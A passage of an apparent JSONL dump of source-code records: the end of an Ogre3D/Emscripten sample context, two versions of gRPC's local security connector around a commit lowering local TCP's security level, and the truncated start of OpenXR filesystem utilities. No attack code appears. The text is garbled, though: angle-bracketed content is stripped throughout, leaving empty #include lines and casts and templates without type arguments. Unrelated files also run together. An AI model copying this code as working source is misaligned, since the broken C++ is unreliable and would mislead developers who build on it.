_evt = evt;\r\n \/\/ chrome reports values of 53 here\r\n _evt.y = std::min(3, std::max(-3, evt.y));\r\n return OgreBites::SampleContext::mouseWheelRolled(evt);\r\n}\r\n\r\nvoid Context::_mainLoop(void* target)\r\n{\r\n Context* thizz = static_cast(target);\r\n if (thizz->mRoot->endRenderingQueued())\r\n\t{\r\n\t emscripten_cancel_main_loop();\r\n\t}\r\n\telse\r\n {\r\n\t try\r\n\t {\r\n \/\/Pump messages in all registered RenderWindow windows\r\n Ogre::WindowEventUtilities::messagePump();\r\n \r\n if (!thizz->mRoot->renderOneFrame())\r\n {\r\n emscripten_cancel_main_loop();\r\n }\r\n\t }\r\n\t catch (Ogre::Exception& e)\r\n\t {\r\n size_t length = emscripten_get_callstack(EM_LOG_C_STACK | EM_LOG_DEMANGLE | EM_LOG_NO_PATHS | EM_LOG_FUNC_PARAMS,0,0) + 50;\r\n char* buffer = new char[length];\r\n emscripten_get_callstack(EM_LOG_C_STACK | EM_LOG_DEMANGLE | EM_LOG_NO_PATHS | EM_LOG_FUNC_PARAMS, buffer, length);\r\n Ogre::LogManager::getSingleton().logMessage(buffer);\r\n delete[] buffer;\r\n \r\n emscripten_pause_main_loop();\r\n\t }\r\n }\r\n}\r\n\r\n\r\nvoid Context::unloadResource(Ogre::ResourceManager* resMgr, const Ogre::String& resourceName)\r\n{\r\n Ogre::ResourcePtr rPtr = resMgr->getResourceByName(resourceName, \"General\");\r\n if (!rPtr)\r\n return;\r\n \r\n rPtr->unload();\r\n resMgr->remove(resourceName, \"General\");\r\n}\r\n\r\nvoid Context::destroyMaterials( const Ogre::String& resourceGroupID )\r\n{\r\n \r\n try\r\n {\r\n Ogre::MaterialManager* materialManager = Ogre::MaterialManager::getSingletonPtr();\r\n Ogre::ResourceManager::ResourceMapIterator resourceIterator = materialManager->getResourceIterator();\r\n \r\n std::vector< std::string > materialNamesToRemove;\r\n \r\n while( resourceIterator.hasMoreElements() )\r\n {\r\n Ogre::ResourcePtr material = resourceIterator.getNext();\r\n std::string matName = material->getName();\r\n \r\n if( resourceGroupID == material->getGroup())\r\n {\r\n mShaderGenerator->removeAllShaderBasedTechniques( matName, material->getGroup() );\r\n material->unload();\r\n material.reset();\r\n materialNamesToRemove.push_back( matName );\r\n }\r\n }\r\n \r\n for( size_t i = 0; i < materialNamesToRemove.size(); ++i )\r\n {\r\n materialManager->remove( materialNamesToRemove[i], resourceGroupID );\r\n }\r\n materialManager->removeUnreferencedResources();\r\n }\r\n catch( ... )\r\n {\r\n Ogre::LogManager::getSingleton().logMessage(\"An Error occurred trying to destroy Materials in \" + resourceGroupID);\r\n }\r\n \r\n}\r\n\r\nvoid Context::destroyTextures( const Ogre::String& resourceGroupID )\r\n{\r\n try\r\n {\r\n Ogre::TextureManager* textureManager = Ogre::TextureManager::getSingletonPtr();\r\n Ogre::ResourceManager::ResourceMapIterator resourceIterator = textureManager->getResourceIterator();\r\n \r\n std::vector< std::string > textureNamesToRemove;\r\n \r\n while( resourceIterator.hasMoreElements() )\r\n {\r\n Ogre::ResourcePtr texture = resourceIterator.getNext();\r\n Ogre::String resourceName = texture->getName();\r\n if( resourceGroupID == texture->getGroup())\r\n {\r\n texture->unload();\r\n texture.reset();\r\n textureNamesToRemove.push_back( resourceName );\r\n }\r\n }\r\n \r\n for( size_t i = 0; i < textureNamesToRemove.size(); ++i )\r\n {\r\n textureManager->remove( textureNamesToRemove[i], resourceGroupID );\r\n }\r\n }\r\n catch( ... )\r\n {\r\n Ogre::LogManager::getSingleton().logMessage(\"An Error occurred trying to destroy Textures in \" + resourceGroupID);\r\n }\r\n \r\n}\r\n\r\nvoid Context::clearScene()\r\n{\r\n if (mBuffer != NULL)\r\n {\r\n auto it = mNode->getAttachedObjectIterator();\r\n while (it.hasMoreElements())\r\n {\r\n \/\/mSceneMgr->destroyMovableObject(it.getNext());\r\n }\r\n mNode->detachAllObjects();\r\n\r\n Ogre::MaterialManager* matMgr = Ogre::MaterialManager::getSingletonPtr();\r\n matMgr->removeUnreferencedResources();\r\n \r\n Ogre::MeshManager* meshMgr = Ogre::MeshManager::getSingletonPtr();\r\n meshMgr->unloadUnreferencedResources();\r\n \r\n Ogre::TextureManager* texMgr = Ogre::TextureManager::getSingletonPtr();\r\n texMgr->removeUnreferencedResources();\r\n \r\n if( Ogre::ResourceGroupManager::getSingleton().resourceGroupExists(\"Download\") && Ogre::ResourceGroupManager::getSingleton().isResourceGroupInitialised(\"Download\") )\r\n {\r\n destroyMaterials( \"Download\" );\r\n destroyTextures( \"Download\" );\r\n \r\n Ogre::ResourceGroupManager::getSingleton().removeResourceLocation( \"download.zip\" );\r\n Ogre::ResourceGroupManager::getSingleton().destroyResourceGroup( \"Download\" );\r\n }\r\n \r\n Ogre::EmbeddedZipArchiveFactory::removeEmbbeddedFile(\"download.zip\");\r\n \r\n mShaderGenerator->removeAllShaderBasedTechniques();\r\n mShaderGenerator->flushShaderCache();\r\n \r\n \/\/free(mBuffer);\r\n mBuffer = NULL;\r\n }\r\n}\r\n\r\nvoid Context::passAssetAsArrayBuffer(unsigned char* arr, int length) {\r\n \r\n try {\r\n \r\n clearScene();\r\n Ogre::ResourceGroupManager::getSingleton().createResourceGroup(\"Download\");\r\n mBuffer = arr;\r\n \r\n Ogre::EmbeddedZipArchiveFactory::addEmbbeddedFile(\"download.zip\", mBuffer, length, NULL);\r\n Ogre::ResourceGroupManager::getSingleton().addResourceLocation(\"download.zip\",\"EmbeddedZip\",\"Download\");\r\n Ogre::ResourceGroupManager::getSingleton().initialiseResourceGroup(\"Download\");\r\n \r\n Ogre::StringVectorPtr meshes = Ogre::ArchiveManager::getSingleton().load(\"download.zip\",\"EmbeddedZip\",true)->find(\"*.mesh\");\r\n for (auto i : *meshes)\r\n {\r\n \/\/mNode->attachObject(mSceneMgr->createEntity(i));\r\n }\r\n \r\n } catch (Ogre::Exception& ex) {\r\n Ogre::LogManager::getSingleton().logMessage(ex.what());\r\n \r\n }\r\n \r\n\r\n}\r\n\r\nvoid Context::setup() {\r\n OgreBites::ApplicationContext::setup();\r\n mWindow = getRenderWindow();\r\n addInputListener(this);\r\n\r\n mCurrentSample = new Sample_Character();\r\n mCurrentSample->setShaderGenerator(mShaderGenerator);\r\n mCurrentSample->_setup(mWindow, mFSLayer, mOverlaySystem);\r\n}\r\n<|endoftext|>"} {"text":"\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \n\n#include \"src\/core\/lib\/security\/security_connector\/local\/local_security_connector.h\"\n\n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"src\/core\/ext\/filters\/client_channel\/client_channel.h\"\n#include \"src\/core\/lib\/channel\/channel_args.h\"\n#include \"src\/core\/lib\/gprpp\/ref_counted_ptr.h\"\n#include \"src\/core\/lib\/iomgr\/pollset.h\"\n#include \"src\/core\/lib\/iomgr\/resolve_address.h\"\n#include \"src\/core\/lib\/iomgr\/sockaddr.h\"\n#include \"src\/core\/lib\/iomgr\/sockaddr_utils.h\"\n#include \"src\/core\/lib\/iomgr\/socket_utils.h\"\n#include \"src\/core\/lib\/iomgr\/unix_sockets_posix.h\"\n#include \"src\/core\/lib\/security\/credentials\/local\/local_credentials.h\"\n#include \"src\/core\/lib\/security\/transport\/security_handshaker.h\"\n#include \"src\/core\/tsi\/local_transport_security.h\"\n\n#define GRPC_UDS_URI_PATTERN \"unix:\"\n#define GRPC_LOCAL_TRANSPORT_SECURITY_TYPE \"local\"\n\nnamespace {\n\ngrpc_core::RefCountedPtr local_auth_context_create(\n const tsi_peer* peer) {\n \/* Create auth context. *\/\n grpc_core::RefCountedPtr ctx =\n grpc_core::MakeRefCounted(nullptr);\n grpc_auth_context_add_cstring_property(\n ctx.get(), GRPC_TRANSPORT_SECURITY_TYPE_PROPERTY_NAME,\n GRPC_LOCAL_TRANSPORT_SECURITY_TYPE);\n GPR_ASSERT(grpc_auth_context_set_peer_identity_property_name(\n ctx.get(), GRPC_TRANSPORT_SECURITY_TYPE_PROPERTY_NAME) == 1);\n GPR_ASSERT(peer->property_count == 1);\n const tsi_peer_property* prop = &peer->properties[0];\n GPR_ASSERT(prop != nullptr);\n GPR_ASSERT(strcmp(prop->name, TSI_SECURITY_LEVEL_PEER_PROPERTY) == 0);\n grpc_auth_context_add_property(ctx.get(),\n GRPC_TRANSPORT_SECURITY_LEVEL_PROPERTY_NAME,\n prop->value.data, prop->value.length);\n return ctx;\n}\n\nvoid local_check_peer(grpc_security_connector* sc, tsi_peer peer,\n grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked,\n grpc_local_connect_type type) {\n int fd = grpc_endpoint_get_fd(ep);\n grpc_resolved_address resolved_addr;\n memset(&resolved_addr, 0, sizeof(resolved_addr));\n resolved_addr.len = GRPC_MAX_SOCKADDR_SIZE;\n bool is_endpoint_local = false;\n if (getsockname(fd, reinterpret_cast(resolved_addr.addr),\n &resolved_addr.len) == 0) {\n grpc_resolved_address addr_normalized;\n grpc_resolved_address* addr =\n grpc_sockaddr_is_v4mapped(&resolved_addr, &addr_normalized)\n ? &addr_normalized\n : &resolved_addr;\n grpc_sockaddr* sock_addr = reinterpret_cast(&addr->addr);\n \/\/ UDS\n if (type == UDS && grpc_is_unix_socket(addr)) {\n is_endpoint_local = true;\n \/\/ IPV4\n } else if (type == LOCAL_TCP && sock_addr->sa_family == GRPC_AF_INET) {\n const grpc_sockaddr_in* addr4 =\n reinterpret_cast(sock_addr);\n if (grpc_htonl(addr4->sin_addr.s_addr) == INADDR_LOOPBACK) {\n is_endpoint_local = true;\n }\n \/\/ IPv6\n } else if (type == LOCAL_TCP && sock_addr->sa_family == GRPC_AF_INET6) {\n const grpc_sockaddr_in6* addr6 =\n reinterpret_cast(addr);\n if (memcmp(&addr6->sin6_addr, &in6addr_loopback,\n sizeof(in6addr_loopback)) == 0) {\n is_endpoint_local = true;\n }\n }\n }\n grpc_error* error = GRPC_ERROR_NONE;\n if (!is_endpoint_local) {\n error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"Endpoint is neither UDS or TCP loopback address.\");\n grpc_core::ExecCtx::Run(DEBUG_LOCATION, on_peer_checked, error);\n return;\n }\n \/\/ Add TSI_SECURITY_LEVEL_PEER_PROPERTY type peer property.\n size_t new_property_count = peer.property_count + 1;\n tsi_peer_property* new_properties = static_cast(\n gpr_zalloc(sizeof(*new_properties) * new_property_count));\n for (size_t i = 0; i < peer.property_count; i++) {\n new_properties[i] = peer.properties[i];\n }\n if (peer.properties != nullptr) gpr_free(peer.properties);\n peer.properties = new_properties;\n \/\/ TODO(yihuazhang): Set security level of local TCP to TSI_SECURITY_NONE.\n const char* security_level =\n tsi_security_level_to_string(TSI_PRIVACY_AND_INTEGRITY);\n tsi_result result = tsi_construct_string_peer_property_from_cstring(\n TSI_SECURITY_LEVEL_PEER_PROPERTY, security_level,\n &peer.properties[peer.property_count]);\n if (result != TSI_OK) return;\n peer.property_count++;\n \/* Create an auth context which is necessary to pass the santiy check in\n * {client, server}_auth_filter that verifies if the peer's auth context is\n * obtained during handshakes. The auth context is only checked for its\n * existence and not actually used.\n *\/\n *auth_context = local_auth_context_create(&peer);\n tsi_peer_destruct(&peer);\n error = *auth_context != nullptr ? GRPC_ERROR_NONE\n : GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"Could not create local auth context\");\n grpc_core::ExecCtx::Run(DEBUG_LOCATION, on_peer_checked, error);\n}\n\nclass grpc_local_channel_security_connector final\n : public grpc_channel_security_connector {\n public:\n grpc_local_channel_security_connector(\n grpc_core::RefCountedPtr channel_creds,\n grpc_core::RefCountedPtr request_metadata_creds,\n const char* target_name)\n : grpc_channel_security_connector(nullptr, std::move(channel_creds),\n std::move(request_metadata_creds)),\n target_name_(gpr_strdup(target_name)) {}\n\n ~grpc_local_channel_security_connector() override { gpr_free(target_name_); }\n\n void add_handshakers(\n const grpc_channel_args* args, grpc_pollset_set* \/*interested_parties*\/,\n grpc_core::HandshakeManager* handshake_manager) override {\n tsi_handshaker* handshaker = nullptr;\n GPR_ASSERT(local_tsi_handshaker_create(true \/* is_client *\/, &handshaker) ==\n TSI_OK);\n handshake_manager->Add(\n grpc_core::SecurityHandshakerCreate(handshaker, this, args));\n }\n\n int cmp(const grpc_security_connector* other_sc) const override {\n auto* other =\n reinterpret_cast(\n other_sc);\n int c = channel_security_connector_cmp(other);\n if (c != 0) return c;\n return strcmp(target_name_, other->target_name_);\n }\n\n void check_peer(tsi_peer peer, grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked) override {\n grpc_local_credentials* creds =\n reinterpret_cast(mutable_channel_creds());\n local_check_peer(this, peer, ep, auth_context, on_peer_checked,\n creds->connect_type());\n }\n\n bool check_call_host(grpc_core::StringView host,\n grpc_auth_context* \/*auth_context*\/,\n grpc_closure* \/*on_call_host_checked*\/,\n grpc_error** error) override {\n if (host.empty() || host != target_name_) {\n *error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"local call host does not match target name\");\n }\n return true;\n }\n\n void cancel_check_call_host(grpc_closure* \/*on_call_host_checked*\/,\n grpc_error* error) override {\n GRPC_ERROR_UNREF(error);\n }\n\n const char* target_name() const { return target_name_; }\n\n private:\n char* target_name_;\n};\n\nclass grpc_local_server_security_connector final\n : public grpc_server_security_connector {\n public:\n grpc_local_server_security_connector(\n grpc_core::RefCountedPtr server_creds)\n : grpc_server_security_connector(nullptr, std::move(server_creds)) {}\n ~grpc_local_server_security_connector() override = default;\n\n void add_handshakers(\n const grpc_channel_args* args, grpc_pollset_set* \/*interested_parties*\/,\n grpc_core::HandshakeManager* handshake_manager) override {\n tsi_handshaker* handshaker = nullptr;\n GPR_ASSERT(local_tsi_handshaker_create(false \/* is_client *\/,\n &handshaker) == TSI_OK);\n handshake_manager->Add(\n grpc_core::SecurityHandshakerCreate(handshaker, this, args));\n }\n\n void check_peer(tsi_peer peer, grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked) override {\n grpc_local_server_credentials* creds =\n static_cast(mutable_server_creds());\n local_check_peer(this, peer, ep, auth_context, on_peer_checked,\n creds->connect_type());\n }\n\n int cmp(const grpc_security_connector* other) const override {\n return server_security_connector_cmp(\n static_cast(other));\n }\n};\n} \/\/ namespace\n\ngrpc_core::RefCountedPtr\ngrpc_local_channel_security_connector_create(\n grpc_core::RefCountedPtr channel_creds,\n grpc_core::RefCountedPtr request_metadata_creds,\n const grpc_channel_args* args, const char* target_name) {\n if (channel_creds == nullptr || target_name == nullptr) {\n gpr_log(\n GPR_ERROR,\n \"Invalid arguments to grpc_local_channel_security_connector_create()\");\n return nullptr;\n }\n \/\/ Perform sanity check on UDS address. For TCP local connection, the check\n \/\/ will be done during check_peer procedure.\n grpc_local_credentials* creds =\n static_cast(channel_creds.get());\n const grpc_arg* server_uri_arg =\n grpc_channel_args_find(args, GRPC_ARG_SERVER_URI);\n const char* server_uri_str = grpc_channel_arg_get_string(server_uri_arg);\n if (creds->connect_type() == UDS &&\n strncmp(GRPC_UDS_URI_PATTERN, server_uri_str,\n strlen(GRPC_UDS_URI_PATTERN)) != 0) {\n gpr_log(GPR_ERROR,\n \"Invalid UDS target name to \"\n \"grpc_local_channel_security_connector_create()\");\n return nullptr;\n }\n return grpc_core::MakeRefCounted(\n channel_creds, request_metadata_creds, target_name);\n}\n\ngrpc_core::RefCountedPtr\ngrpc_local_server_security_connector_create(\n grpc_core::RefCountedPtr server_creds) {\n if (server_creds == nullptr) {\n gpr_log(\n GPR_ERROR,\n \"Invalid arguments to grpc_local_server_security_connector_create()\");\n return nullptr;\n }\n return grpc_core::MakeRefCounted(\n std::move(server_creds));\n}\nupdate local tcp security level\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#include \n\n#include \"src\/core\/lib\/security\/security_connector\/local\/local_security_connector.h\"\n\n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \"src\/core\/ext\/filters\/client_channel\/client_channel.h\"\n#include \"src\/core\/lib\/channel\/channel_args.h\"\n#include \"src\/core\/lib\/gprpp\/ref_counted_ptr.h\"\n#include \"src\/core\/lib\/iomgr\/pollset.h\"\n#include \"src\/core\/lib\/iomgr\/resolve_address.h\"\n#include \"src\/core\/lib\/iomgr\/sockaddr.h\"\n#include \"src\/core\/lib\/iomgr\/sockaddr_utils.h\"\n#include \"src\/core\/lib\/iomgr\/socket_utils.h\"\n#include \"src\/core\/lib\/iomgr\/unix_sockets_posix.h\"\n#include \"src\/core\/lib\/security\/credentials\/local\/local_credentials.h\"\n#include \"src\/core\/lib\/security\/transport\/security_handshaker.h\"\n#include \"src\/core\/tsi\/local_transport_security.h\"\n\n#define GRPC_UDS_URI_PATTERN \"unix:\"\n#define GRPC_LOCAL_TRANSPORT_SECURITY_TYPE \"local\"\n\nnamespace {\n\ngrpc_core::RefCountedPtr local_auth_context_create(\n const tsi_peer* peer) {\n \/* Create auth context. *\/\n grpc_core::RefCountedPtr ctx =\n grpc_core::MakeRefCounted(nullptr);\n grpc_auth_context_add_cstring_property(\n ctx.get(), GRPC_TRANSPORT_SECURITY_TYPE_PROPERTY_NAME,\n GRPC_LOCAL_TRANSPORT_SECURITY_TYPE);\n GPR_ASSERT(grpc_auth_context_set_peer_identity_property_name(\n ctx.get(), GRPC_TRANSPORT_SECURITY_TYPE_PROPERTY_NAME) == 1);\n GPR_ASSERT(peer->property_count == 1);\n const tsi_peer_property* prop = &peer->properties[0];\n GPR_ASSERT(prop != nullptr);\n GPR_ASSERT(strcmp(prop->name, TSI_SECURITY_LEVEL_PEER_PROPERTY) == 0);\n grpc_auth_context_add_property(ctx.get(),\n GRPC_TRANSPORT_SECURITY_LEVEL_PROPERTY_NAME,\n prop->value.data, prop->value.length);\n return ctx;\n}\n\nvoid local_check_peer(grpc_security_connector* sc, tsi_peer peer,\n grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked,\n grpc_local_connect_type type) {\n int fd = grpc_endpoint_get_fd(ep);\n grpc_resolved_address resolved_addr;\n memset(&resolved_addr, 0, sizeof(resolved_addr));\n resolved_addr.len = GRPC_MAX_SOCKADDR_SIZE;\n bool is_endpoint_local = false;\n if (getsockname(fd, reinterpret_cast(resolved_addr.addr),\n &resolved_addr.len) == 0) {\n grpc_resolved_address addr_normalized;\n grpc_resolved_address* addr =\n grpc_sockaddr_is_v4mapped(&resolved_addr, &addr_normalized)\n ? &addr_normalized\n : &resolved_addr;\n grpc_sockaddr* sock_addr = reinterpret_cast(&addr->addr);\n \/\/ UDS\n if (type == UDS && grpc_is_unix_socket(addr)) {\n is_endpoint_local = true;\n \/\/ IPV4\n } else if (type == LOCAL_TCP && sock_addr->sa_family == GRPC_AF_INET) {\n const grpc_sockaddr_in* addr4 =\n reinterpret_cast(sock_addr);\n if (grpc_htonl(addr4->sin_addr.s_addr) == INADDR_LOOPBACK) {\n is_endpoint_local = true;\n }\n \/\/ IPv6\n } else if (type == LOCAL_TCP && sock_addr->sa_family == GRPC_AF_INET6) {\n const grpc_sockaddr_in6* addr6 =\n reinterpret_cast(addr);\n if (memcmp(&addr6->sin6_addr, &in6addr_loopback,\n sizeof(in6addr_loopback)) == 0) {\n is_endpoint_local = true;\n }\n }\n }\n grpc_error* error = GRPC_ERROR_NONE;\n if (!is_endpoint_local) {\n error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"Endpoint is neither UDS or TCP loopback address.\");\n grpc_core::ExecCtx::Run(DEBUG_LOCATION, on_peer_checked, error);\n return;\n }\n \/\/ Add TSI_SECURITY_LEVEL_PEER_PROPERTY type peer property.\n size_t new_property_count = peer.property_count + 1;\n tsi_peer_property* new_properties = static_cast(\n gpr_zalloc(sizeof(*new_properties) * new_property_count));\n for (size_t i = 0; i < peer.property_count; i++) {\n new_properties[i] = peer.properties[i];\n }\n if (peer.properties != nullptr) gpr_free(peer.properties);\n peer.properties = new_properties;\n const char* security_level =\n type == LOCAL_TCP\n ? tsi_security_level_to_string(TSI_SECURITY_NONE)\n : tsi_security_level_to_string(TSI_PRIVACY_AND_INTEGRITY);\n tsi_result result = tsi_construct_string_peer_property_from_cstring(\n TSI_SECURITY_LEVEL_PEER_PROPERTY, security_level,\n &peer.properties[peer.property_count]);\n if (result != TSI_OK) return;\n peer.property_count++;\n \/* Create an auth context which is necessary to pass the santiy check in\n * {client, server}_auth_filter that verifies if the peer's auth context is\n * obtained during handshakes. The auth context is only checked for its\n * existence and not actually used.\n *\/\n *auth_context = local_auth_context_create(&peer);\n tsi_peer_destruct(&peer);\n error = *auth_context != nullptr ? GRPC_ERROR_NONE\n : GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"Could not create local auth context\");\n grpc_core::ExecCtx::Run(DEBUG_LOCATION, on_peer_checked, error);\n}\n\nclass grpc_local_channel_security_connector final\n : public grpc_channel_security_connector {\n public:\n grpc_local_channel_security_connector(\n grpc_core::RefCountedPtr channel_creds,\n grpc_core::RefCountedPtr request_metadata_creds,\n const char* target_name)\n : grpc_channel_security_connector(nullptr, std::move(channel_creds),\n std::move(request_metadata_creds)),\n target_name_(gpr_strdup(target_name)) {}\n\n ~grpc_local_channel_security_connector() override { gpr_free(target_name_); }\n\n void add_handshakers(\n const grpc_channel_args* args, grpc_pollset_set* \/*interested_parties*\/,\n grpc_core::HandshakeManager* handshake_manager) override {\n tsi_handshaker* handshaker = nullptr;\n GPR_ASSERT(local_tsi_handshaker_create(true \/* is_client *\/, &handshaker) ==\n TSI_OK);\n handshake_manager->Add(\n grpc_core::SecurityHandshakerCreate(handshaker, this, args));\n }\n\n int cmp(const grpc_security_connector* other_sc) const override {\n auto* other =\n reinterpret_cast(\n other_sc);\n int c = channel_security_connector_cmp(other);\n if (c != 0) return c;\n return strcmp(target_name_, other->target_name_);\n }\n\n void check_peer(tsi_peer peer, grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked) override {\n grpc_local_credentials* creds =\n reinterpret_cast(mutable_channel_creds());\n local_check_peer(this, peer, ep, auth_context, on_peer_checked,\n creds->connect_type());\n }\n\n bool check_call_host(grpc_core::StringView host,\n grpc_auth_context* \/*auth_context*\/,\n grpc_closure* \/*on_call_host_checked*\/,\n grpc_error** error) override {\n if (host.empty() || host != target_name_) {\n *error = GRPC_ERROR_CREATE_FROM_STATIC_STRING(\n \"local call host does not match target name\");\n }\n return true;\n }\n\n void cancel_check_call_host(grpc_closure* \/*on_call_host_checked*\/,\n grpc_error* error) override {\n GRPC_ERROR_UNREF(error);\n }\n\n const char* target_name() const { return target_name_; }\n\n private:\n char* target_name_;\n};\n\nclass grpc_local_server_security_connector final\n : public grpc_server_security_connector {\n public:\n grpc_local_server_security_connector(\n grpc_core::RefCountedPtr server_creds)\n : grpc_server_security_connector(nullptr, std::move(server_creds)) {}\n ~grpc_local_server_security_connector() override = default;\n\n void add_handshakers(\n const grpc_channel_args* args, grpc_pollset_set* \/*interested_parties*\/,\n grpc_core::HandshakeManager* handshake_manager) override {\n tsi_handshaker* handshaker = nullptr;\n GPR_ASSERT(local_tsi_handshaker_create(false \/* is_client *\/,\n &handshaker) == TSI_OK);\n handshake_manager->Add(\n grpc_core::SecurityHandshakerCreate(handshaker, this, args));\n }\n\n void check_peer(tsi_peer peer, grpc_endpoint* ep,\n grpc_core::RefCountedPtr* auth_context,\n grpc_closure* on_peer_checked) override {\n grpc_local_server_credentials* creds =\n static_cast(mutable_server_creds());\n local_check_peer(this, peer, ep, auth_context, on_peer_checked,\n creds->connect_type());\n }\n\n int cmp(const grpc_security_connector* other) const override {\n return server_security_connector_cmp(\n static_cast(other));\n }\n};\n} \/\/ namespace\n\ngrpc_core::RefCountedPtr\ngrpc_local_channel_security_connector_create(\n grpc_core::RefCountedPtr channel_creds,\n grpc_core::RefCountedPtr request_metadata_creds,\n const grpc_channel_args* args, const char* target_name) {\n if (channel_creds == nullptr || target_name == nullptr) {\n gpr_log(\n GPR_ERROR,\n \"Invalid arguments to grpc_local_channel_security_connector_create()\");\n return nullptr;\n }\n \/\/ Perform sanity check on UDS address. For TCP local connection, the check\n \/\/ will be done during check_peer procedure.\n grpc_local_credentials* creds =\n static_cast(channel_creds.get());\n const grpc_arg* server_uri_arg =\n grpc_channel_args_find(args, GRPC_ARG_SERVER_URI);\n const char* server_uri_str = grpc_channel_arg_get_string(server_uri_arg);\n if (creds->connect_type() == UDS &&\n strncmp(GRPC_UDS_URI_PATTERN, server_uri_str,\n strlen(GRPC_UDS_URI_PATTERN)) != 0) {\n gpr_log(GPR_ERROR,\n \"Invalid UDS target name to \"\n \"grpc_local_channel_security_connector_create()\");\n return nullptr;\n }\n return grpc_core::MakeRefCounted(\n channel_creds, request_metadata_creds, target_name);\n}\n\ngrpc_core::RefCountedPtr\ngrpc_local_server_security_connector_create(\n grpc_core::RefCountedPtr server_creds) {\n if (server_creds == nullptr) {\n gpr_log(\n GPR_ERROR,\n \"Invalid arguments to grpc_local_server_security_connector_create()\");\n return nullptr;\n }\n return grpc_core::MakeRefCounted(\n std::move(server_creds));\n}\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2017 The Khronos Group Inc.\n\/\/ Copyright (c) 2017 Valve Corporation\n\/\/ Copyright (c) 2017 LunarG, Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/ Authors: Mark Young \n\/\/ Nat Brown \n\/\/\n\n#include \n#include \"xr_dependencies.h\"\n\n#if defined DISABLE_STD_FILESYSTEM\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 0\n\n#else\n\/\/ If the C++ macro is set to the version containing C++17, it must support\n\/\/ the final C++17 package\n#if __cplusplus >= 201703L\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n\n#elif defined(_MSC_VER) && _MSC_VER >= 1900\n\n#if defined(_HAS_CXX17) && _HAS_CXX17\n\/\/ When MSC supports c++17 use package.\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n#else\n\/\/ MSC before c++17 need to use package.\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n#endif \/\/ !_HAS_CXX17\n\n\/\/ Right now, GCC still only supports the experimental filesystem items starting in GCC 6\n#elif (__GNUC__ >= 6)\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n\n\/\/ If Clang, check for feature support\n#elif defined(__clang__) && (__cpp_lib_filesystem || __cpp_lib_experimental_filesystem)\n#if __cpp_lib_filesystem\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 1\n#else\n#define USE_EXPERIMENTAL_FS 1\n#define USE_FINAL_FS 0\n#endif\n\n\/\/ If all above fails, fall back to standard C++ and OS-specific items\n#else\n#define USE_EXPERIMENTAL_FS 0\n#define USE_FINAL_FS 0\n#endif\n#endif\n\n#if USE_FINAL_FS == 1\n#include \n#define FS_PREFIX std::filesystem\n#elif USE_EXPERIMENTAL_FS == 1\n#if (WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP)\n#error \"Windows universal application doesn't support system::experimental::filesystem\"\n#endif\n#include \n#define FS_PREFIX std::experimental::filesystem\n#elif defined(XR_USE_PLATFORM_WIN32)\n\/\/ Windows fallback includes\n#include \n#include \n#include \n#else\n\/\/ Linux\/Apple fallback includes\n#include \n#include \n#include \n#include \n#include \n#include \n#endif\n\n#include \"filesystem_utils.hpp\"\n\n#if defined(XR_USE_PLATFORM_WIN32)\n#define PATH_SEPARATOR ';'\n#define DIRECTORY_SYMBOL '\\\\'\n#else\n#define PATH_SEPARATOR ':'\n#define DIRECTORY_SYMBOL '\/'\n#endif\n\n#if (USE_FINAL_FS == 1) || (USE_EXPERIMENTAL_FS == 1)\n\/\/ We can use one of the C++ filesystem packages\n\nbool FileSysUtilsIsRegularFile(const std::string& path) {\n try {\n return FS_PREFIX::is_regular_file(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsDirectory(const std::string& path) {\n try {\n return FS_PREFIX::is_directory(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsPathExists(const std::string& path) {\n try {\n return FS_PREFIX::exists(path);\n } catch (...) {\n return false;\n }\n}\n\nbool FileSysUtilsIsAbsolutePath(const std::string& 